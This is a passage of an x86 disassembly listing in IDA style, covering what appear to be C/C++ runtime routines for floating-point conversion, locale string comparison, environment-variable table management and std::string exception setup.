		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425C96
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425C90:				; CODE XREF: sub_425A96+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425CB1
; ---------------------------------------------------------------------------


loc_425C96:				; CODE XREF: sub_425A96+42j
					; sub_425A96+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_425CB1:				; CODE XREF: sub_425A96+ABj
					; sub_425A96+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425A96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425CB6	proc near		; CODE XREF: sub_4250CD+440p
					; sub_42559E+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43B158
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425D2F
		jge	short loc_425CDE
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43B2B8
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_425CDE:				; CODE XREF: sub_425CB6+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425CE9
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_425CE9:				; CODE XREF: sub_425CB6+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425D2F
		push	esi
		push	edi


loc_425CF0:				; CODE XREF: sub_425CB6+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425D28
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425D1B
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_425D1B:				; CODE XREF: sub_425CB6+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425A96
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_425D28:				; CODE XREF: sub_425CB6+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425CF0
		pop	edi
		pop	esi


loc_425D2F:				; CODE XREF: sub_425CB6+14j
					; sub_425CB6+36j
		pop	ebx
		leave
		retn
sub_425CB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425D32	proc near		; CODE XREF: sub_4259A3+5Ep
					; sub_42620E+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425D3F
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425D3F:				; CODE XREF: sub_425D32+7j
		push	dword_4DAB64
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DAD84
		call	sub_425DDF
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425D6C
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425D6C:				; CODE XREF: sub_425D32+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425D32	endp


; =============== S U B	R O U T	I N E =======================================



sub_425D71	proc near		; CODE XREF: sub_4259A3+1Ep
					; sub_426087+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4D9744
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425DD2
		mov	ebx, dword_427194


loc_425D8A:				; CODE XREF: sub_425D71+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425DDA
		push	ebp
		call	sub_41BC9B
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425DDA
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425DDA
		push	edi
		push	[esp+18h+var_4]
		call	sub_426087
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425D8A


loc_425DD2:				; CODE XREF: sub_425D71+11j
		xor	eax, eax


loc_425DD4:				; CODE XREF: sub_425D71+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_425DDA:				; CODE XREF: sub_425D71+29j
					; sub_425D71+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425DD4
sub_425D71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDF	proc near		; CODE XREF: sub_425D32+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CB8
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4D9A20, ebx
		push	1
		pop	edi
		jnz	short loc_425E52
		push	edi
		mov	eax, offset dword_427908
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 25E0000h
		nop
		test	eax, eax
		jz	short loc_425E2F
		mov	dword_4D9A20, edi
		jmp	short loc_425E52
; ---------------------------------------------------------------------------


loc_425E2F:				; CODE XREF: sub_425DDF+46j
		push	edi
		mov	eax, offset word_4C91BC
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 25E05FEh
		nop
		test	eax, eax
		jz	loc_426048
		mov	dword_4D9A20, 2


loc_425E52:				; CODE XREF: sub_425DDF+31j
					; sub_425DDF+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425E69
		push	esi
		push	[ebp+arg_8]
		call	sub_42605C
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_425E69:				; CODE XREF: sub_425DDF+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425E7E
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_42605C
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_425E7E:				; CODE XREF: sub_425DDF+8Dj
		mov	eax, dword_4D9A20
		cmp	eax, 2
		jnz	short loc_425EA3
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25E05FEh
		jmp	loc_42604A
; ---------------------------------------------------------------------------


loc_425EA3:				; CODE XREF: sub_425DDF+A7j
		cmp	eax, edi
		jnz	loc_426048
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425EB8
		mov	eax, dword_4D97E0
		mov	[ebp+arg_18], eax


loc_425EB8:				; CODE XREF: sub_425DDF+CFj
		cmp	esi, ebx
		jz	short loc_425EC5
		cmp	[ebp+arg_14], ebx
		jnz	loc_425F5D


loc_425EC5:				; CODE XREF: sub_425DDF+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425ED2


loc_425ECA:				; CODE XREF: sub_425DDF+13Cj
					; sub_425DDF+16Dj
		push	2


loc_425ECC:				; CODE XREF: sub_425DDF+146j
		pop	eax
		jmp	loc_42604A
; ---------------------------------------------------------------------------


loc_425ED2:				; CODE XREF: sub_425DDF+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_425EDE


loc_425ED7:				; CODE XREF: sub_425DDF+151j
					; sub_425DDF+159j ...
		mov	eax, edi
		jmp	loc_42604A
; ---------------------------------------------------------------------------


loc_425EDE:				; CODE XREF: sub_425DDF+F6j
		cmp	esi, edi
		jg	short loc_425F23
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 2650000h
		nop
		test	eax, eax
		jz	loc_426048
		cmp	esi, ebx
		jle	short loc_425F27
		cmp	[ebp+var_3C], 2
		jb	short loc_425F23
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425F23


loc_425F09:				; CODE XREF: sub_425DDF+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425F23
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_425F1D
		cmp	cl, dl
		jbe	short loc_425ECA


loc_425F1D:				; CODE XREF: sub_425DDF+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_425F09


loc_425F23:				; CODE XREF: sub_425DDF+101j
					; sub_425DDF+120j ...
		push	3
		jmp	short loc_425ECC
; ---------------------------------------------------------------------------


loc_425F27:				; CODE XREF: sub_425DDF+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_425F5D
		cmp	[ebp+var_3C], 2
		jb	short loc_425ED7
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425ED7


loc_425F3A:				; CODE XREF: sub_425DDF+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425ED7
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_425F52
		cmp	cl, dl
		jbe	loc_425ECA


loc_425F52:				; CODE XREF: sub_425DDF+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_425F3A
		jmp	loc_425ED7
; ---------------------------------------------------------------------------


loc_425F5D:				; CODE XREF: sub_425DDF+E0j
					; sub_425DDF+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2700000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_426048
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2A0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_425FAC
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_425FAC:				; CODE XREF: sub_425DDF+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_426048
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_4270F0
		call	esi
		test	eax, eax
		jz	short loc_426048
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_426048
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2A0
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426017
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_426017:				; CODE XREF: sub_425DDF+224j
		cmp	edi, ebx
		jz	short loc_426048
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	near ptr 2700000h
		nop
		test	eax, eax
		jz	short loc_426048
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 25E0000h
		nop
		jmp	short loc_42604A
; ---------------------------------------------------------------------------


loc_426048:				; CODE XREF: sub_425DDF+63j
					; sub_425DDF+C6j ...
		xor	eax, eax


loc_42604A:				; CODE XREF: sub_425DDF+BFj
					; sub_425DDF+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425DDF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42605C	proc near		; CODE XREF: sub_4229D2+81p
					; sub_425DDF+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426079


loc_42606C:				; CODE XREF: sub_42605C+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_426079
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_42606C


loc_426079:				; CODE XREF: sub_42605C+Ej
					; sub_42605C+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_426084
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_426084:				; CODE XREF: sub_42605C+21j
		mov	eax, edx
		retn
sub_42605C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426087	proc near		; CODE XREF: sub_425D71+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_4260EB
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4262CD
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_4260EB
		cmp	[ebp+arg_0], esi
		jz	short loc_4260EB
		mov	eax, dword_4D973C
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4D9740
		jnz	short loc_4260D1
		push	eax
		call	sub_426266
		pop	ecx
		mov	dword_4D973C, eax


loc_4260D1:				; CODE XREF: sub_426087+3Cj
		cmp	eax, edi
		jnz	short loc_426129
		cmp	[ebp+arg_4], edi
		jz	short loc_4260F3
		cmp	dword_4D9744, edi
		jz	short loc_4260F3
		call	sub_425D71
		test	eax, eax
		jz	short loc_426129


loc_4260EB:				; CODE XREF: sub_426087+Dj
					; sub_426087+22j ...
		or	eax, 0FFFFFFFFh


loc_4260EE:				; CODE XREF: sub_426087+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4260F3:				; CODE XREF: sub_426087+51j
					; sub_426087+59j
		cmp	ebx, edi
		jnz	loc_426207
		push	4
		call	sub_41BC9B
		cmp	eax, edi
		pop	ecx
		mov	dword_4D973C, eax
		jz	short loc_4260EB
		mov	[eax], edi
		cmp	dword_4D9744, edi
		jnz	short loc_426129
		push	4
		call	sub_41BC9B
		cmp	eax, edi
		pop	ecx
		mov	dword_4D9744, eax
		jz	short loc_4260EB
		mov	[eax], edi


loc_426129:				; CODE XREF: sub_426087+4Cj
					; sub_426087+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4D973C
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_42620E
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_426189
		cmp	dword ptr [edi], 0
		jz	short loc_426189
		test	ebx, ebx
		jz	short loc_426181
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41BA31
		pop	ecx


loc_42615B:				; CODE XREF: sub_426087+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42616B
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42615B
; ---------------------------------------------------------------------------


loc_42616B:				; CODE XREF: sub_426087+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41BB48
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4261BB
		jmp	short loc_4261B6
; ---------------------------------------------------------------------------


loc_426181:				; CODE XREF: sub_426087+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4261BB
; ---------------------------------------------------------------------------


loc_426189:				; CODE XREF: sub_426087+BDj
					; sub_426087+C2j
		test	ebx, ebx
		jnz	short loc_426207
		test	esi, esi
		jge	short loc_426193
		neg	esi


loc_426193:				; CODE XREF: sub_426087+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41BB48
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4260EB
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4261B6:				; CODE XREF: sub_426087+F8j
		mov	dword_4D973C, eax


loc_4261BB:				; CODE XREF: sub_426087+F6j
					; sub_426087+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_426207
		push	[ebp+arg_0]
		call	sub_41B960
		inc	eax
		inc	eax
		push	eax
		call	sub_41BC9B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_426207
		push	[ebp+arg_0]
		push	esi
		call	sub_41C620
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 25D0000h
		push	esi
		call	sub_41BA31
		pop	ecx


loc_426207:				; CODE XREF: sub_426087+6Ej
					; sub_426087+104j ...
		xor	eax, eax
		jmp	loc_4260EE
sub_426087	endp


; =============== S U B	R O U T	I N E =======================================



sub_42620E	proc near		; CODE XREF: sub_426087+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4D973C
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_426249
		mov	edi, [esp+8+arg_4]


loc_426220:				; CODE XREF: sub_42620E+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425D32
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42623F
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_426259
		test	al, al
		jz	short loc_426259


loc_42623F:				; CODE XREF: sub_42620E+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426220


loc_426249:				; CODE XREF: sub_42620E+Cj
		mov	eax, esi
		sub	eax, dword_4D973C
		sar	eax, 2
		neg	eax


loc_426256:				; CODE XREF: sub_42620E+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_426259:				; CODE XREF: sub_42620E+2Bj
					; sub_42620E+2Fj
		mov	eax, esi
		sub	eax, dword_4D973C
		sar	eax, 2
		jmp	short loc_426256
sub_42620E	endp


; =============== S U B	R O U T	I N E =======================================



sub_426266	proc near		; CODE XREF: sub_426087+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426275
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426275:				; CODE XREF: sub_426266+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_426287


loc_42627D:				; CODE XREF: sub_426266+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_42627D


loc_426287:				; CODE XREF: sub_426266+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41BC9B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4262A8
		push	9
		call	sub_41E1C9
		pop	ecx


loc_4262A8:				; CODE XREF: sub_426266+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4262AC:				; CODE XREF: sub_426266+5Bj
		test	eax, eax
		jz	short loc_4262C3
		push	eax
		add	ebx, 4
		call	sub_426340
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4262AC
; ---------------------------------------------------------------------------


loc_4262C3:				; CODE XREF: sub_426266+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_426266	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4262CD	proc near		; CODE XREF: sub_426087+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DAB7C, 0
		jnz	short loc_4262E8
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C720
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4262E8:				; CODE XREF: sub_4262CD+Aj
		mov	ecx, [ebp+arg_0]


loc_4262EB:				; CODE XREF: sub_4262CD+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_42632E
		movzx	edx, al
		test	byte_4DAC81[edx], 4
		jz	short loc_42631A
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426325
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_426329
		jmp	short loc_426322
; ---------------------------------------------------------------------------


loc_42631A:				; CODE XREF: sub_4262CD+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_42632E


loc_426322:				; CODE XREF: sub_4262CD+4Bj
		inc	ecx
		jmp	short loc_4262EB
; ---------------------------------------------------------------------------


loc_426325:				; CODE XREF: sub_4262CD+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426329:				; CODE XREF: sub_4262CD+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42632E:				; CODE XREF: sub_4262CD+25j
					; sub_4262CD+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4262CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_426340	proc near		; CODE XREF: sub_4183EC+21p
					; sub_426266+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_426367
		push	esi
		call	sub_41B960
		inc	eax
		push	eax
		call	sub_41BC9B
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_426367
		push	esi
		push	eax
		call	sub_41C620
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_426367:				; CODE XREF: sub_426340+7j
					; sub_426340+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426340	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426370	proc near		; CODE XREF: sub_426453+19p
					; sub_42657A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41B960
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D9A4
		mov	eax, esi
		pop	esi
		retn	8
sub_426370	endp


; =============== S U B	R O U T	I N E =======================================



sub_42639A	proc near		; CODE XREF: ___:004263C5p
					; sub_426448+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	nullsub_1
		call	sub_40D968
		mov	ecx, esi
		pop	esi
		jmp	sub_42681F
sub_42639A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4263B5	proc near		; DATA XREF: ___:00427CD8o
					; ___:00427CE8o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4263C1
		mov	eax, offset dword_4276A0

locret_4263C1:				; CODE XREF: sub_4263B5+5j
		retn
sub_4263B5	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, ecx
		call	sub_42639A
		test	byte ptr [esp+8], 1
		jz	short loc_4263D8
		push	esi
		call	sub_41D3EF
		pop	ecx


loc_4263D8:				; CODE XREF: ___:004263CFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4263DE	proc near		; CODE XREF: sub_426453+29p
		mov	eax, offset loc_426D9E
		call	sub_41D3D0
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CF0
		call	sub_426798
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	nullsub_1
		call	sub_426490
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427CE4
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4263DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42642C	proc near		; DATA XREF: ___:off_427CE4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426448
		test	[esp+4+arg_0], 1
		jz	short loc_426442
		push	esi
		call	sub_41D3EF
		pop	ecx


loc_426442:				; CODE XREF: sub_42642C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42642C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426448	proc near		; CODE XREF: sub_42642C+3p
					; DATA XREF: ___:0042805Co
		mov	dword ptr [ecx], offset	off_427CE4
		jmp	sub_42639A
sub_426448	endp


; =============== S U B	R O U T	I N E =======================================



sub_426453	proc near		; CODE XREF: sub_40D815+13p
					; sub_40D9D9+Ep
		mov	eax, offset loc_426DB0
		call	sub_41D3D0
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426370
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4263DE
		push	offset dword_428058
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_426842
		int	3		; Trap to Debugger
sub_426453	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_4263DE+32p
					; sub_4264B0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D815
		mov	eax, esi
		pop	esi
		retn	4
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264B0	proc near		; CODE XREF: sub_42657A+29p
		mov	eax, offset loc_426DC2
		call	sub_41D3D0
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CF0
		call	sub_426798
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	nullsub_1
		call	sub_426490
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264F8	proc near		; CODE XREF: sub_426562+7p
					; sub_4265BE+7p ...
		mov	eax, offset loc_426DD4
		call	sub_41D3D0
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_4267D5
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	nullsub_1
		call	sub_426490
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42653B	proc near		; DATA XREF: ___:off_427D10o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426557
		test	[esp+4+arg_0], 1
		jz	short loc_426551
